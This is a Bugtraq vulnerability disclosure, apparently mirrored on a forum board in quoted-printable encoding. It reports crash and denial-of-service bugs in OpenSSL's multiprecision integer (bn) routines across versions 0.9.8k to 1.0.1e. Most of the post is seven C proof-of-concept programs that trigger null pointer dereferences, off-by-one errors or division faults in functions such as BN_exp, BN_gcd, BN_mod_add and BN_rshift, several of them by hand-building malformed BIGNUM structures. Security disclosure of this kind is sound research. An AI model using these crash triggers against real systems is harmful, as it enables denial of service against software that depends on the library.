看板 Bugtraq 關於我們 聯絡資訊
General info: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D The bn (multiprecision integer arithmetics) part of the OpenSSL library is = prone to null ptr deref, off-by-one and others resulting in DoS/crashes. Versions tested were between 0.9.8k and 1.0.1e. We were too laz*cough* = busy to prepare the fancy table, sorry guys. Some PoC will work for one version but not for the other. Your milage may = vary, so you'll have to test it by yourself. bn_div_words.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d); bn_div_words(h, l, d) divides the two word number (h,l) by d and = returns the result. =23 if defined(__i386) =7C=7C defined (__i386__) * * There were two reasons for implementing this template: * - GNU C generates a call to a function (__udivdi3 to be exact) * in reply to ((((BN_ULLONG)n0)<<BN_BITS2)=7Cn1)/d0 (I fail to * understand why...); * - divl doesn't only calculate quotient, but also leaves * remainder in %edx which we can definitely use here:-) * * <appro=40fy.chalmers.se> * =23 define bn_div_words(n0,n1,d0) =5C (=7B asm volatile ( =5C =22divl %4=22 =5C : =22=3Da=22(q), =22=3Dd=22(rem) =5C : =22a=22(n1), =22d=22(n0), =22g=22(d0) =5C : =22cc=22); =5C q; =5C =7D) =23 define REMAINDER_IS_ALREADY_CALCULATED =23 elif defined(__x86_64) && defined(SIXTY_FOUR_BIT_LONG) * * Same story here, but it's 128-bit by 64-bit division. Wow=21 * <appro=40fy.chalmers.se> * =23 define bn_div_words(n0,n1,d0) =5C (=7B asm volatile ( =5C =22divq %4=22 =5C : =22=3Da=22(q), =22=3Dd=22(rem) =5C : =22a=22(n1), =22d=22(n0), =22g=22(d0) =5C : =22cc=22); =5C q; =5C =7D) */ =23include <stdio.h> =23include <string.h> =23include <openssl/bn.h> =23include <openssl/rand.h> int main(int argc, char **argv) =7B BN_ULONG q,d0,n0,n1,rem=3D0; n0 =3D 10UL; // if n0 >=3D d0 then Floating point exception n1 =3D 100UL; d0 =3D 10UL; printf(=22%lu=5Cn=22, bn_div_words(n0, n1, d0)); return 0; =7D -- cut BN_exp_dos.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx); BN_exp() raises a to the p-th power and places the result in r = (=22r=3Da=5Ep=22). This function is faster than repeated applications of = BN_mul(). */ =23include <stdio.h> =23include <string.h> =23include <openssl/bn.h> =23include <openssl/rand.h> int main(int argc, char **argv) =7B BN_CTX *c =3D BN_CTX_new(); BIGNUM *x,*y,*z,*p1,*p2,*p3; x =3D BN_new(); y =3D BN_new(); z =3D BN_new(); x->d =3D (BN_ULONG *) malloc(1); x->d=5B0=5D =3D 0; x->top =3D 13645; x->dmax =3D 13645; x->neg =3D 0; x->flags =3D 1; y->d =3D (BN_ULONG *) malloc(1); y->d=5B0=5D =3D 2; y->top =3D 1; y->dmax =3D 1; y->neg =3D 1; y->flags =3D 1; z->d =3D (BN_ULONG *) malloc(1); z->d=5B0=5D =3D 34427664; z->top =3D 1; z->dmax =3D 1; z->neg =3D 0; z->flags =3D 0; printf(=22%d=5Cn=22, BN_exp(x, y, z, c)); return 0; =7D -- cut BN_gcd_dos.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx); BN_gcd() computes the greatest common divisor of a and b and p */ =23include <stdio.h> =23include <string.h> =23include <openssl/bn.h> =23include <openssl/rand.h> int main(int argc, char **argv) =7B BN_CTX *c =3D BN_CTX_new(); BIGNUM *x,*y,*z,*p1,*p2,*p3; x =3D BN_new(); y =3D BN_new(); z =3D BN_new(); x->d =3D (BN_ULONG *) malloc(1); x->d=5B0=5D =3D 1; x->top =3D 0; x->dmax =3D 2; x->neg =3D 0; x->flags =3D 1; y->d =3D (BN_ULONG *) malloc(1); y->d=5B0=5D =3D 1; y->top =3D 1; y->dmax =3D 1; y->neg =3D 0; y->flags =3D 0; z->d =3D (BN_ULONG *) malloc(1); z->d=5B0=5D =3D 0; z->top =3D 1; z->dmax =3D 2; z->neg =3D 0; z->flags =3D 0; printf(=22PoC works for OpenSSL v1.0.1c but not for v0.9.8k=5Cn=22); printf(=22%d=5Cn=22, BN_gcd(x, y, z, c)); return 0; =7D -- cut BN_mod_add.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, = BN_CTX *ctx); BN_mod_add() adds a to b modulo m and places the non-negative result = in r. */ =23include <stdio.h> =23include <string.h> =23include <openssl/bn.h> =23include <openssl/rand.h> int main(int argc, char **argv) =7B BN_CTX *c =3D BN_CTX_new(); BIGNUM *x,*y,*z,*v; x =3D BN_new(); y =3D BN_new(); z =3D BN_new(); v =3D BN_new(); x->d =3D (BN_ULONG *) malloc(1); x->d=5B0=5D =3D 262144; x->top =3D 1; x->dmax =3D 2; x->neg =3D 0; x->flags =3D 1; y->d =3D (BN_ULONG *) malloc(1); y->d=5B0=5D =3D 262144; y->top =3D 1; y->dmax =3D 1; y->neg =3D 0; y->flags =3D 0; z->d =3D (BN_ULONG *) malloc(1); z->d=5B0=5D =3D 0; z->top =3D 0; z->dmax =3D 1; z->neg =3D 0; z->flags =3D 1; v->d =3D (BN_ULONG *) malloc(1); v->d=5B0=5D =3D 0; v->top =3D 1; v->dmax =3D 1; v->neg =3D 0; v->flags =3D 1; // triggers bug in bn_div_words() printf(=22%d=5Cn=22, BN_mod_add(x, y, z, v, c)); return 0; =7D -- cut BN_rshift.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* int BN_rshift(BIGNUM *r, BIGNUM *a, int n); BN_rshift() shifts a right by n bits and places the result in r = (=22r=3Da/2=5En=22). BN_rshift1() shifts a right by one and places the = result in r (=22r=3Da/2=22). int BN_rshift(BIGNUM *r, const BIGNUM *a, int n) =7B int i,j,nw,lb,rb; BN_ULONG *t,*f; BN_ULONG l,tmp; bn_check_top(r); bn_check_top(a); nw=3Dn/BN_BITS2; 0 rb=3Dn%BN_BITS2; 0 lb=3DBN_BITS2-rb; 64 if (nw >=3D a->top =7C=7C a->top =3D=3D 0) =7B BN_zero(r); return(1); =7D i =3D (BN_num_bits(a)-n+(BN_BITS2-1))/BN_BITS2; if (r =21=3D a) =7B r->neg=3Da->neg; if (bn_wexpand(r,i) =3D=3D NULL) return(0); =7D else =7B if (n =3D=3D 0) return 1; // or the copying loop will go berserk =7D f=3D &(a->d=5Bnw=5D); t=3Dr->d; j=3Da->top-nw; r->top=3Di; if (rb =3D=3D 0) =7B for (i=3Dj; i =21=3D 0; i--) *(t++)=3D *(f++); <---- oops =7D else =7B l=3D *(f++); for (i=3Dj-1; i =21=3D 0; i--) =7B tmp =3D(l>>rb)&BN_MASK2; l=3D *(f++); *(t++) =3D(tmp=7C(l<<lb))&BN_MASK2; =7D if ((l =3D (l>>rb)&BN_MASK2)) *(t) =3D l; =7D bn_check_top(r); return(1); =7D */ =23include <stdio.h> =23include <string.h> =23include <openssl/bn.h> =23include <openssl/rand.h> int main(int argc, char **argv) =7B BN_CTX *c =3D BN_CTX_new(); BIGNUM *x,*y,*z,*p1,*p2,*p3; x =3D BN_new(); y =3D BN_new(); z =3D BN_new(); x->d =3D NULL; x->top =3D 0; x->dmax =3D 0; x->neg =3D 0; x->flags =3D 0; y->d =3D (BN_ULONG *) malloc(1); y->d=5B0=5D =3D 0; y->top =3D 1; y->dmax =3D 1; y->neg =3D 0; y->flags =3D 1; printf(=22%d=5Cn=22, BN_rshift(x, y, 0)); return 0; =7D -- cut BN_bn2hex.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* char *BN_bn2hex(const BIGNUM *a); BN_bn2hex() and BN_bn2dec() return printable strings containing the = hexadecimal and decimal encoding of a respectively. For negative numbers, = the string is prefaced with a leading '-'. The string must be freed later = using OPENSSL_free(). */ =23include <stdio.h> =23include <openssl/bn.h> int main(int argc, char **argv) =7B BIGNUM *z,*o; BN_CTX *ctx =3D BN_CTX_new(); z =3D BN_new(); o =3D BN_new(); BN_zero(z); BN_one(o); BN_set_negative(o, 1); BN_sqr(o, z, ctx); printf(=22%s=5Cn=22, BN_bn2hex(o)); return 0; =7D -- cut BN_add_word.c: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D -- cut /* int BN_add_word(BIGNUM *a, BN_ULONG w); BN_add_word() adds w to a (=22a+=3Dw=22). */ =23include <stdio.h> =23include <openssl/bn.h> int main(int argc, char **argv) =7B BIGNUM *z,*o; BN_CTX *ctx =3D BN_CTX_new(); z =3D BN_new(); o =3D BN_new(); BN_set_word(o, 2); BN_add_word(o, 18446744073709551615LL); return 0; =7D -- cut Credits: =3D=3D=3D=3D=3D=3D=3D=3D AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, = c8e74ebd8392fda4788179f9a02bb49337638e7b ____________________________________________________________ GET FREE SMILEYS FOR YOUR IM & EMAIL - Learn more at = http://www.inbox.com/smileys Works with AIM=C2=AE, MSN=C2=AE Messenger, Yahoo=21=C2=AE Messenger, = ICQ=C2=AE, Google Talk=E2=84=A2 and most webmails